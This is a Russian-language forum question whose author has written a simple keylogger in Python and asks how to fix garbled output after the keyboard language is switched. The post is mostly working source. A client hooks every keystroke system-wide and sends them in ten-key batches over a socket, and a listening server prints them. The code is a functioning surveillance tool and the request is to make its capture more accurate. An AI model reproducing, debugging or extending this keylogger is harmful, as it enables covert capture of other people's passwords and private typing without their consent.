Как исправить ошибку в программе при смене языка?

Я попытался написать самый простой keylogger, но при смене языка программа продолжает дальше переводить символы начального языка , как можно это исправить ?

Сервер
import socket

sock = socket.socket()
sock.bind(('', 9090))
sock.listen(1)
conn, addr = sock.accept()

print ('connected:', addr)

while True:
    data = conn.recv(1024)
    print(data.decode())


Клиент
import keyboard 
import socket

sock = socket.socket()
sock.connect(('localhost', 9090))


hook = ""
def server():
	global hook
	sock.send(str(hook).encode())

    
def print_pressed_keys(e):
    global hook
    hook = hook + str(e.name)
    if len(hook) >= 10:
        print(hook)
        server()
        hook = ""
keyboard.hook(print_pressed_keys)
keyboard.wait()
  • Вопрос задан
  • 232 просмотра
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы